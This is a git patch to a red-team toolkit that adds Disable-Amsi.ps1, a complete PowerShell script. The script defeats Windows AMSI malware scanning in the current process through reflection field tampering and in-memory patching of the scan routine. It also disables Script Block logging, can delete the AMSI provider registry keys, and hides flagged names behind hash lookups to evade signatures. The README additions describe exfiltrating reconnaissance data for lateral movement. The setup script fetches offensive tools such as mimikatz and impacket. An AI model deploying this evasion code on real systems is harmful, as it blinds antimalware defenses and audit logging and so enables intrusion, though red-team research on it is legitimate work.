From ab282fd079d1a5371f88a41cea1c292aba3785d9 Mon Sep 17 00:00:00 2001 From: mgeeky Date: Fri, 14 Jun 2019 16:42:22 +0200 Subject: [PATCH] Added Disable-Amsi.ps1 --- linux/prepare-kali.sh | 13 +- red-teaming/Disable-Amsi.ps1 | 816 +++++++++++++++++++++++++++++++++++ red-teaming/README.md | 22 + 3 files changed, 848 insertions(+), 3 deletions(-) create mode 100644 red-teaming/Disable-Amsi.ps1 diff --git a/linux/prepare-kali.sh b/linux/prepare-kali.sh index 9616b36..3e4ec22 100644 --- a/linux/prepare-kali.sh +++ b/linux/prepare-kali.sh @@ -46,7 +46,7 @@ apt update ; apt upgrade -y apt install -y git build-essential binutils-dev vim python3 libunwind-dev python unzip python-pip python3-pip python3-venv python3-setuptools libssl-dev autoconf automake libtool python2.7-dev python3.7-dev python3-tk jq awscli npm graphviz golang python-software-properties neo4j libgconf-2-4 bloodhound lftp chromium heimdal-clients python-ldap rdate pip3 install virtualenv awscli wheel boto3 botocore -pip install virtualenv wheel boto3 botocore pyinstaller lxml +pip2 install virtualenv wheel boto3 botocore pyinstaller lxml pyip ansi2html install_dotnet install_docker @@ -163,6 +163,7 @@ git_clone https://github.com/inquisb/icmpsh.git git_clone https://github.com/tomac/yersinia.git git_clone https://github.com/threat9/routersploit.git git_clone https://github.com/hatRiot/clusterd.git +git_clone https://github.com/SpiderLabs/ikeforce.git popd pushd fuzzers @@ -325,8 +326,14 @@ git_clone https://github.com/tyranid/DotNetToJScript.git git_clone https://github.com/gentilkiwi/mimikatz.git git_clone https://github.com/brav0hax/smbexec.git git_clone https://github.com/SecureAuthCorp/impacket.git -cd impacket ; mkdir binaries ; cd binaries ; curl -s https://api.github.com/repos/ropnop/impacket_static_binaries/releases/latest | grep "browser_download_url.*exe" | cut -d : -f 2,3 | tr -d \" | wget -qi - ; cd ../../ - +cd impacket ; mkdir binaries ; cd binaries ; +wget https://github.com/ropnop/impacket_static_binaries/releases/download/0.9.19-binaries/impacket_windows_binaries.zip +unzip -d . impacket_windows_binaries.zip +rm impacket_windows_binaries.zip +wget https://github.com/ropnop/impacket_static_binaries/releases/download/0.9.19-binaries/impacket_linux_binaries.tar.gz +tar xzf impacket_linux_binaries.tar.gz +rm impacket_linux_binaries.tar.gz +cd ../../ git_clone https://github.com/rasta-mouse/Watson.git popd diff --git a/red-teaming/Disable-Amsi.ps1 b/red-teaming/Disable-Amsi.ps1 new file mode 100644 index 0000000..a3805f6 --- /dev/null +++ b/red-teaming/Disable-Amsi.ps1 @@ -0,0 +1,816 @@ +#requires -version 5 + +<# +.SYNOPSIS + +Attempts to disable AMSI within current process using well-known techniques laid out in an unsignatured way. + +Author: Mariusz B. (@mgeeky) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +Tries to evade AMSI by leveraging couple of publicly documented techniqus, but in +an approach to avoid signatured or otherwise considered harmful keywords. + +Notice: These techniques only disable AMSI within current process context. Tricks implemented +are not system-wide and not permament. + +Using a hash-lookup approach when determining prohibited symbol names, we are able +to avoid relying on blacklisted values and having them hardcoded within the script. +This implementation iterates over all of the assemblies, their exposed types, methods and +fields in order to find those that are required but by their computed hash-value rather than +direct name. Since hash-value computation algorithm was open-sources and is simple to +manipulate, the attacker becomes able to customize hash-lookup scheme the way he likes. + +A simplest approach to alter return values coming out of Get-Hash would be to change the +initial value of $val variable. + +The script comes up with several techniques implemented. Triggers them one by one. Should one +return successfully, the script is going to finish it's execution. + +The approaches implemented in this script heavily rely on the previous work of: + +- Matt Graeber: https://github.com/mattifestation/PSReflect +- Matt Graeber: https://twitter.com/mattifestation/status/735261120487772160 +- Avi Gimpel: https://www.cyberark.com/threat-research-blog/amsi-bypass-redux/ +- Adam Chester: https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/ + +.PARAMETER DontDisableBlockLogging + +Prevents this script from attempting to disable Script-Block logging feature introduced +in Powershell Ver. 5 + +.PARAMETER RemoveAmsiProviders + +If this script was launched as an Administrator prinicipal, an attempt to remove AMSI Providers +can be made. Such attempt will try to remove registry keys named in a GUID style, located at: + HKLM\Software\Microsoft\AMSI\ProviXders + +It is recommended to firstly backup that registry key by doing something like: + cmd> reg export HKLM\Software\Microsoft\AMSI\Providers "%TEMP%\AmsiPrXoviders.reg" + +.EXAMPLE + +PS > "amsiIXnitFailXed" +At line:1 char:1 ++ "amsiIXnitFailXed" ++ ~~~~~~~~~~~~~~~~ +This script contains malicious content and has been blocked by your antivirus software. + + CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException + + FullyQualifiedErrorId : ScriptContainedMaliciousContent + +PS > . .\Disable-Amsi.ps1 +PS > Disable-Amsi +[+] Disabled Script Block logging. +[+] Success via technique 1. +PS > "amsiIXnitFailXed" +amsiIXnitFailXed + +.NOTES + +This script has not yet been thouroughly tested, although it has the code intended to +work on x86 systems, this code was not validated on them. + +#> + +function New-InMemoryModule +{ + Param + ( + [Parameter(Position = 0)] + [ValidateNotNullOrEmpty()] + [String] + $ModuleName = [Guid]::NewGuid().ToString() + ) + + $LoadedAssemblies = [AppDomain]::CurrentDomain.GetAssemblies() + + ForEach ($Assembly in $LoadedAssemblies) { + if ($Assembly.FullName -and ($Assembly.FullName.Split(',')[0] -eq $ModuleName)) { + return $Assembly + } + } + + $DynAssembly = New-Object Reflection.AssemblyName($ModuleName) + $Domain = [AppDomain]::CurrentDomain + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, 'Run') + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule($ModuleName, $False) + + return $ModuleBuilder +} + + +# A helper function used to reduce typing while defining function +# prototypes for Add-Win32Type. +function func +{ + Param + ( + [Parameter(Position = 0, Mandatory = $True)] + [String] + $DllName, + + [Parameter(Position = 1, Mandatory = $True)] + [String] + $FunctionName, + + [Parameter(Position = 2, Mandatory = $True)] + [Type] + $ReturnType, + + [Parameter(Position = 3)] + [Type[]] + $ParameterTypes, + + [Parameter(Position = 4)] + [Runtime.InteropServices.CallingConvention] + $NativeCallingConvention, + + [Parameter(Position = 5)] + [Runtime.InteropServices.CharSet] + $Charset, + + [Switch] + $SetLastError + ) + + $Properties = @{ + DllName = $DllName + FunctionName = $FunctionName + ReturnType = $ReturnType + } + + if ($ParameterTypes) { $Properties['ParameterTypes'] = $ParameterTypes } + if ($NativeCallingConvention) { $Properties['NativeCallingConvention'] = $NativeCallingConvention } + if ($Charset) { $Properties['Charset'] = $Charset } + if ($SetLastError) { $Properties['SetLastError'] = $SetLastError } + + New-Object PSObject -Property $Properties +} + + +function Add-Win32Type +{ + [OutputType([Hashtable])] + Param( + [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] + [String] + $DllName, + + [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] + [String] + $FunctionName, + + [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] + [Type] + $ReturnType, + + [Parameter(ValueFromPipelineByPropertyName = $True)] + [Type[]] + $ParameterTypes, + + [Parameter(ValueFromPipelineByPropertyName = $True)] + [Runtime.InteropServices.CallingConvention] + $NativeCallingConvention = [Runtime.InteropServices.CallingConvention]::StdCall, + + [Parameter(ValueFromPipelineByPropertyName = $True)] + [Runtime.InteropServices.CharSet] + $Charset = [Runtime.InteropServices.CharSet]::Auto, + + [Parameter(ValueFromPipelineByPropertyName = $True)] + [Switch] + $SetLastError, + + [Parameter(Mandatory = $True)] + [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] + $Module, + + [ValidateNotNull()] + [String] + $Namespace = '' + ) + + BEGIN + { + $TypeHash = @{} + } + + PROCESS + { + if ($Module -is [Reflection.Assembly]) + { + if ($Namespace) + { + $TypeHash[$DllName] = $Module.GetType("$Namespace.$DllName") + } + else + { + $TypeHash[$DllName] = $Module.GetType($DllName) + } + } + else + { + # Define one type for each DLL + if (!$TypeHash.ContainsKey($DllName)) + { + if ($Namespace) + { + $TypeHash[$DllName] = $Module.DefineType("$Namespace.$DllName", 'Public,BeforeFieldInit') + } + else + { + $TypeHash[$DllName] = $Module.DefineType($DllName, 'Public,BeforeFieldInit') + } + } + + $Method = $TypeHash[$DllName].DefineMethod( + $FunctionName, + 'Public,Static,PinvokeImpl', + $ReturnType, + $ParameterTypes) + + # Make each ByRef parameter an Out parameter + $i = 1 + ForEach($Parameter in $ParameterTypes) + { + if ($Parameter.IsByRef) + { + [void] $Method.DefineParameter($i, 'Out', $Null) + } + + $i++ + } + + $DllImport = [Runtime.InteropServices.DllImportAttribute] + $SetLastErrorField = $DllImport.GetField('SetLastError') + $CallingConventionField = $DllImport.GetField('CallingConvention') + $CharsetField = $DllImport.GetField('CharSet') + if ($SetLastError) { $SLEValue = $True } else { $SLEValue = $False } + + # Equivalent to C# version of [DllImport(DllName)] + $Constructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor([String]) + $DllImportAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($Constructor, + $DllName, [Reflection.PropertyInfo[]] @(), [Object[]] @(), + [Reflection.FieldInfo[]] @($SetLastErrorField, $CallingConventionField, $CharsetField), + [Object[]] @($SLEValue, ([Runtime.InteropServices.CallingConvention] $NativeCallingConvention), ([Runtime.InteropServices.CharSet] $Charset))) + + $Method.SetCustomAttribute($DllImportAttribute) + } + } + + END + { + if ($Module -is [Reflection.Assembly]) + { + return $TypeHash + } + + $ReturnTypes = @{} + + ForEach ($Key in $TypeHash.Keys) + { + $Type = $TypeHash[$Key].CreateType() + + $ReturnTypes[$Key] = $Type + } + + return $ReturnTypes + } +} + +function field +{ + Param + ( + [Parameter(Position = 0, Mandatory = $True)] + [UInt16] + $Position, + + [Parameter(Position = 1, Mandatory = $True)] + [Type] + $Type, + + [Parameter(Position = 2)] + [UInt16] + $Offset, + + [Object[]] + $MarshalAs + ) + + @{ + Position = $Position + Type = $Type -as [Type] + Offset = $Offset + MarshalAs = $MarshalAs + } +} + +function struct +{ + [OutputType([Type])] + Param + ( + [Parameter(Position = 1, Mandatory = $True)] + [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] + $Module, + + [Parameter(Position = 2, Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [String] + $FullName, + + [Parameter(Position = 3, Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [Hashtable] + $StructFields, + + [Reflection.Emit.PackingSize] + $PackingSize = [Reflection.Emit.PackingSize]::Unspecified, + + [Switch] + $ExplicitLayout + ) + + if ($Module -is [Reflection.Assembly]) + { + return ($Module.GetType($FullName)) + } + + [Reflection.TypeAttributes] $StructAttributes = 'AnsiClass, + Class, + Public, + Sealed, + BeforeFieldInit' + + if ($ExplicitLayout) + { + $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::ExplicitLayout + } + else + { + $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::SequentialLayout + } + + $StructBuilder = $Module.DefineType($FullName, $StructAttributes, [ValueType], $PackingSize) + $ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] + $SizeConst = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst')) + + $Fields = New-Object Hashtable[]($StructFields.Count) + + # Sort each field according to the orders specified + # Unfortunately, PSv2 doesn't have the luxury of the + # hashtable [Ordered] accelerator. + ForEach ($Field in $StructFields.Keys) + { + $Index = $StructFields[$Field]['Position'] + $Fields[$Index] = @{FieldName = $Field; Properties = $StructFields[$Field]} + } + + ForEach ($Field in $Fields) + { + $FieldName = $Field['FieldName'] + $FieldProp = $Field['Properties'] + + $Offset = $FieldProp['Offset'] + $Type = $FieldProp['Type'] + $MarshalAs = $FieldProp['MarshalAs'] + + $NewField = $StructBuilder.DefineField($FieldName, $Type, 'Public') + + if ($MarshalAs) + { + $UnmanagedType = $MarshalAs[0] -as ([Runtime.InteropServices.UnmanagedType]) + if ($MarshalAs[1]) + { + $Size = $MarshalAs[1] + $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, + $UnmanagedType, $SizeConst, @($Size)) + } + else + { + $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, [Object[]] @($UnmanagedType)) + } + + $NewField.SetCustomAttribute($AttribBuilder) + } + + if ($ExplicitLayout) { $NewField.SetOffset($Offset) } + } + + # Make the struct aware of its own size. + # No more having to call [Runtime.InteropServices.Marshal]::SizeOf! + $SizeMethod = $StructBuilder.DefineMethod('GetSize', + 'Public, Static', + [Int], + [Type[]] @()) + $ILGenerator = $SizeMethod.GetILGenerator() + # Thanks for the help, Jason Shirk! + $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder) + $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call, + [Type].GetMethod('GetTypeFromHandle')) + $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call, + [Runtime.InteropServices.Marshal].GetMethod('SizeOf', [Type[]] @([Type]))) + $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ret) + + # Allow for explicit casting from an IntPtr + # No more having to call [Runtime.InteropServices.Marshal]::PtrToStructure! + $ImplicitConverter = $StructBuilder.DefineMethod('op_Implicit', + 'PrivateScope, Public, Static, HideBySig, SpecialName', + $StructBuilder, + [Type[]] @([IntPtr])) + $ILGenerator2 = $ImplicitConverter.GetILGenerator() + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Nop) + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldarg_0) + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder) + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call, + [Type].GetMethod('GetTypeFromHandle')) + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call, + [Runtime.InteropServices.Marshal].GetMethod('PtrToStructure', [Type[]] @([IntPtr], [Type]))) + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Unbox_Any, $StructBuilder) + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ret) + + $StructBuilder.CreateType() +} + +######################################################## + + +$Mod = New-InMemoryModule -ModuleName Win32 +$FunctionDefinitions = @( + # psapi + (func psapi EnumProcessModulesEx ([Bool]) @( + [IntPtr], # hProcess + [IntPtr].MakeArrayType(), # lphModule + [UInt32], # cb + [UInt32].MakeByRefType(), # cbNeeded + [UInt32] # dwFilterFlags + ) -SetLastError), + + (func psapi GetModuleFileNameExW ([UInt32]) @( + [IntPtr], + [IntPtr], + [System.Text.StringBuilder], + [Int32] + ) -SetLastError -Charset Unicode), + + # kernel32 + (func kernel32 VirtualProtect ([Bool]) @( + [IntPtr], + [UInt32], + [Uint32], + [UInt32].MakeByRefType() + ) -SetLastError) + + (func kernel32 RtlMoveMemory ([Void]) @( + [IntPtr], # Destination + [IntPtr], # Source + [UInt32] # dwSize + )) +) + +$FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32' | Out-Null + + +######################################################## + +function Disable-Amsi +{ + Param( + [Switch] + $DontDisableBlockLogging, + + [Switch] + $RemoveAmsiProviders + ) + + function bitshift + { + param( + [Parameter(Mandatory,Position=0)] + [long]$x, + + [Parameter(ParameterSetName='Left')] + [ValidateRange(0,[int]::MaxValue)] + [int]$Left, + + [Parameter(ParameterSetName='Right')] + [ValidateRange(0,[int]::MaxValue)] + [int]$Right + ) + + $shift = if($PSCmdlet.ParameterSetName -eq 'Left') + { + $Left + } + else + { + -$Right + } + + $ret = [math]::Floor($x * [math]::Pow(2,$shift)) + return [System.Convert]::TOUInt32($ret -band ([uint32]::MaxValue)) + } + + # + # def gethash(x): + # val = 5381 + # x = x.lower() + # for a in x: + # n = (val << 5) & 0xffffffff + # val = val + n + ord(a) + # return val + # + + # C:\Windows\System32\amXsi.dll - 63354690687 + # System.Management.AutoXmation.dll - 65764965518 + # AmsiXCloseSession - 30387720265 + # AmsiXInitialize - 27745586497 + # AmsiXOpenSession - 34471491749 + # AmsiXScanBuffer - 27346550254 + # AmsiXUacInitialize - 33631030458 + # AmsiXUacScan - 19307673869 + # AmsiXUacUninitialize - 32135665149 + # AmsiXUninitialize - 30978397252 + + function Get-Hash + { + param( + [Parameter(Mandatory = $true)] + [AllowEmptyString()] + [string]$name + ) + if ($name.Length -eq 0) + { + return 0 + } + + $name = $name.ToLower(); + $val = 5381 + for($i = 0; $i -lt $name.Length; $i++) + { + $n = bitshift $val -left 5 + $val = ($n + $val) + [byte][char]$name[$i] + } + + return $val + } + + function Find-AmsiModule + { + # Get-Hash ("C:\WINDOWS\SYSTEM32\amXsi.dll") + $TargetHash = 63354690687 + + $handle = New-Object IntPtr -1 + $cb = 1024 + $cbNeeded = New-Object UInt32 + $modules = New-Object IntPtr[] $cb + $null = [Win32.psapi]::EnumProcessModulesEx($handle, $modules, $cb * [IntPtr]::Size, [ref] $cbNeeded, 3) + + for($i = 0; $i -lt $cb; $i ++) { + if ($modules[$i] -eq [IntPtr]::Zero) { + break; + } + + $lpFileName = [Activator]::CreateInstance([System.Text.StringBuilder], 256) + $null = [Win32.psapi]::GetModuleFileNameExW($handle, $modules[$i], $lpFileName, $lpFileName.Capacity) + if ((Get-Hash($lpFileName)) -eq $TargetHash) { + return [IntPtr]$modules[$i] + } + } + + return $null + } + + function Get-ProcAddress + { + Param ( + [Parameter(Position = 0, Mandatory = $True)] [IntPtr] $Module, + [Parameter(Position = 1, Mandatory = $True)] [String] $Procedure + ) + + $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | + Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } + $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') + $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress', [reflection.bindingflags] "Public,Static", + $null, [System.Reflection.CallingConventions]::Any, + @((New-Object System.Runtime.InteropServices.HandleRef).GetType(), [string]), $null); + $tmpPtr = New-Object IntPtr + $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Module) + + return $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) + } + + function Technique1 + { + # Using reflection we find init failed non public symbol and flip it to true. + # The trick here is to avoid use of any prohibited word by refering to them via hash-lookups. + try + { + $asm = [AppDomain]::CurrentDomain.GetAssemblies() | ? {$_.Location -and ((Get-Hash($_.Location.Split('\')[-1])) -eq 65764965518)} # SysXtem.ManaXgement.AutomaXtion.dll + $mytype = $asm.GetTypes() | ? {(Get-Hash($_.Name)) -eq 13944524928} # AmsiUXtils + $foo = $mytype.GetFields([System.Reflection.BindingFlags]40) | ? {(Get-Hash($_.Name)) -eq 27628075080} # amsiInXitFaXiled + $foo.SetValue($null, $true) + return $foo.GetValue($null) + } + Catch + { + return $false + } + } + + function Technique2 + { + # This one tries to corrupt context of AMSI as created during that inteface's + # initialization. + try + { + $asm = [AppDomain]::CurrentDomain.GetAssemblies() | ? {$_.Location -and ((Get-Hash($_.Location.Split('\')[-1])) -eq 65764965518)} # SysXtem.ManaXgement.AutomaXtion.dll + $mytype = $asm.GetTypes() | ? {(Get-Hash($_.Name)) -eq 13944524928} # AmsiUXtils + $foo = $mytype.GetFields([System.Reflection.BindingFlags]40) | ? {(Get-Hash($_.Name)) -eq 21195228531} # amsiSesXsion + $foo.SetValue($null, $null) + + $bar = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9077) + $baz = $mytype.GetFields([System.Reflection.BindingFlags]40) | ? {(Get-Hash($_.Name)) -eq 18097066420} # amsiConXtext + $baz.SetValue($null, $bar) + + $xyz = $mytype.GetFields([System.Reflection.BindingFlags]40) | ? {(Get-Hash($_.Name)) -eq 27628075080} # amsiInXitFaXiled + return $xyz.GetValue($null) + } + Catch + { + return $false + } + } + + function Technique3 ($addr) + { + if([IntPtr]::Size -eq 8) + { + # 64 bit + # Patching length-check in buffer scanning routine to make it believe it always + # receives an empty buffer. + + $buf = New-Object byte[] 64 + [System.Runtime.InteropServices.Marshal]::Copy($addr, $buf, 0, 0x24) + + for($i = 0; $i -lt $buf.Length; $i++) + { + # mov edi, r8d + if (($buf[$i+0] -eq 0x41) -and ($buf[$i+1] -eq 0x8b) -and ($buf[$i+2] -eq 0xf8)) + { + $oldProtect = New-Object UInt32 + $nAddr = [IntPtr]::Add($addr, $i) + if ([Win32.kernel32]::VirtualProtect($nAddr, [UInt32]3, 0x40, [ref]$oldProtect)) + { + $newBuf = New-Object byte[] 3 + $newBuf[0] = 0x31; + $newBuf[1] = 0xff; + $newBuf[2] = 0x90; + + $unmanaged = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(5) + [System.Runtime.InteropServices.Marshal]::Copy($newBuf, 0, $unmanaged, 3) + + # Patch with xor edi, edi ; nop + try + { + [Win32.kernel32]::RtlMoveMemory($nAddr, $unmanaged, 3) + [Win32.kernel32]::VirtualProtect($nAddr, [UInt32]3, $oldProtect, [ref]$oldProtect) + return $true + } + catch + { + [Win32.kernel32]::VirtualProtect($nAddr, [UInt32]3, $oldProtect, [ref]$oldProtect) + } + } + } + } + } + else + { + # 32 bit approach. + # Here we just patch out the prologue of the same function with simple return 0 + # sequence. + + $oldProtect = New-Object UInt32 + if ([Win32.kernel32]::VirtualProtect($addr, [UInt32]3, 0x40, [ref]$oldProtect)) + { + # xor eax, eax; ret + $newBuf = New-Object byte[] 3 + $newBuf[0] = 0x31; + $newBuf[1] = 0xc0; + $newBuf[2] = 0xc3; + + $unmanaged = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(5) + [System.Runtime.InteropServices.Marshal]::Copy($newBuf, 0, $unmanaged, 3) + + try + { + [Win32.kernel32]::RtlMoveMemory($addr, $unmanaged, 3) + [Win32.kernel32]::VirtualProtect($addr, [UInt32]3, $oldProtect, [ref]$oldProtect) + return $true + } + catch + { + [Win32.kernel32]::VirtualProtect($addr, [UInt32]3, $oldProtect, [ref]$oldProtect) + } + } + } + + return $false + } + + function BlockLoggingBypass + { + try + { + $asm = [AppDomain]::CurrentDomain.GetAssemblies() | ? {$_.Location -and ((Get-Hash($_.Location.Split('\')[-1])) -eq 65764965518)} + $mytype = $asm.GetTypes() | ? {(Get-Hash($_.Name)) -eq 12579468197} + $foo = $mytype.GetFields([System.Reflection.BindingFlags]40) | ? {(Get-Hash($_.Name)) -eq 12250760746} + $foo.SetValue($null, (New-Object 'System.Collections.Generic.HashSet[string]')) + return $true + } + Catch + { + return $false + } + } + + function Check-IsAdmin { + $currentPrincipal = New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent()) + return $currentPrincipal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) + } + + function Remove-AmsiProviders { + $providers = (Get-ChildItem HKLM:\Software\Microsoft\AMSI\Providers) + $providers | ForEach-Object { + Remove-Item -Path $_.Name -Recurse + } + } + + function Do-Stuff + { + $ver = $PSVersionTable.PSVersion.Major + if ($ver -lt 5) { + Write-Host "[-] Powershell environment found running at version: $ver . Required 5+" + return + } + + if ($DontDisableBlockLogging -eq $false) { + if (BlockLoggingBypass) { + Write-Host "[+] Disabled Script Block logging." + } + else { + Write-Host "[-] Could not disblae Script Block logging." + } + } + + if ($RemoveAmsiProviders) { + if (Check-IsAdmin) { + Remove-AmsiProviders + } + else { + Write-Host "[-] Script was not launched as Administrator. Cannot remove providers." + } + } + + $imageBase = Find-AmsiModule + if ($imageBase -eq $null) { + Write-Host "[-] Could not find AMSI module." + return $null + } + + $name = [System.AppDomain]::CurrentDomain.GetAssemblies() | + ForEach-Object { $_.GetTypes() } | + # TODO: Get rid of these nonpublic, static strings + ForEach-Object { $_.GetMethods('NonPublic, Public, Static') } | + ForEach-Object { $MethodInfo = $_; $_.GetCustomAttributes($false) } | + Where-Object { + $_.Value -and $MethodInfo.Name -and (((Get-Hash($_.Value)) -eq 12263690201) -and ((Get-Hash($MethodInfo.Name)) -eq 27346550254)) + } | ForEach-Object { $MethodInfo.Name } + + # TODO: Get rid of GetProcAddress in favor of manual Exports table parsing. + $addr = Get-ProcAddress $imageBase $name + + # We attempt various techniques accordingly to how stable they are. + if (Technique1) { + Write-Host "[+] Success via technique 1." + return + } + + if (Technique2) { + Write-Host "[+] Success via technique 2." + return + } + + if (Technique3($addr)) { + Write-Host "[+] Success via technique 3." + return + } + } + + Do-Stuff +} diff --git a/red-teaming/README.md b/red-teaming/README.md index 1dc2ef2..c80fc13 100644 --- a/red-teaming/README.md +++ b/red-teaming/README.md @@ -18,6 +18,28 @@ IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s, [IO.Com - **`delete-warning-div-macro.vbs`** - VBA Macro function to be used as a Social Engineering trick removing "Enable Content" warning message as the topmost floating text box with given name. ([gist](https://gist.github.com/mgeeky/9cb6acdec31c8a70cc037c84c77a359c)) +- **`Disable-Amsi.ps1`** - Tries to evade AMSI by leveraging couple of publicly documented techniqus, but in an approach to avoid signatured or otherwise considered harmful keywords. + +Using a hash-lookup approach when determining prohibited symbol names, we are able to avoid relying on blacklisted values and having them hardcoded within the script. This implementation iterates over all of the assemblies, their exposed types, methods and fields in order to find those that are required but by their computed hash-value rather than direct name. Since hash-value computation algorithm was open-sources and is simple to manipulate, the attacker becomes able to customize hash-lookup scheme the way he likes. + +``` +PS > "amsiInitFailed" +At line:1 char:1 ++ "amsiInitFailed" ++ ~~~~~~~~~~~~~~~~ +This script contains malicious content and has been blocked by your antivirus software. + + CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException + + FullyQualifiedErrorId : ScriptContainedMaliciousContent + +PS > . .\Disable-Amsi.ps1 +PS > Disable-Amsi +[+] Disabled Script Block logging. +[+] Success via technique 1. +PS > "amsiInitFailed" +amsiInitFailed +``` + + - **`Export-ReconData.ps1`** - Powershell script leveraging [PowerSploit Recon](https://github.com/PowerShellMafia/PowerSploit) module (PowerView) to save output from Reconnaissance cmdlets like `Get-*`, `Find-*` into _Clixml_ files. Those files (stored in an output directory as separate XML files) can later be extracted from attacked environment and loaded to a new powershell runspace using the same script. Very useful when we want to obtain as many data as possible, then exfiltrate that data, review it in our safe place and then get back to attacked domain for lateral spread. **Warning**: Be careful though, as this script launches many reconnaissance commands one by one, this WILL generate a lot of noise. Microsoft ATA for instance for sure pick you up with _"Reconnaissance using SMB session enumeration"_ after you've launched `Invoke-UserHunter`. **WARNING:** This script is compatible with newer version of PowerView (coming from dev branch as of 2018),